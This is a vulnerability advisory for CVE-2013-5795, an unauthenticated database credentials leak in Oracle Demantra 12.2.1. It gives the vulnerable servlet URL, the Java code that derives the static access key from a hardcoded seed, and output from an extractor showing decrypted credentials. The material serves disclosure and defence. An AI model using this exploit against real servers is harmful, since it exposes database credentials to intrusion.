Vulnerability title: Database Credentials Leak in Oracle Demantra
CVE: CVE-2013-5795
Vendor: Oracle
Product: Demantra
Affected version: 12.2.1
Fixed version: 12.2.3
Reported by: Oliver Gruskovnjak

Details:

Oracle Demantra version 12.2.1 has a backend function that allows anyone
to retrieve the database instance name and the corresponding credentials.

Exploit:

The target URL is:

http://target.com:8080/demantra/ServerDetailsServlet?UAK=

Now the UAK key is calculated statically:

  String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));

      StringBuffer tmp = new StringBuffer("sge");
      tmp.append(0);
      tmp.append(encryptedPassword);

      uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));

From that information it is possible to create a simple extractor:

pixel:demantra user$ java getUAK
-=[Oracle Demantra Database Details Retriever ]=-

[+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
[+] Retrieved the following encrypted string:
4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97,
[+] Decrypted string is:
TEST?test?demantra?orc?1

Together with the authentication bypass this can be exploited unauthenticated as well.



Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/


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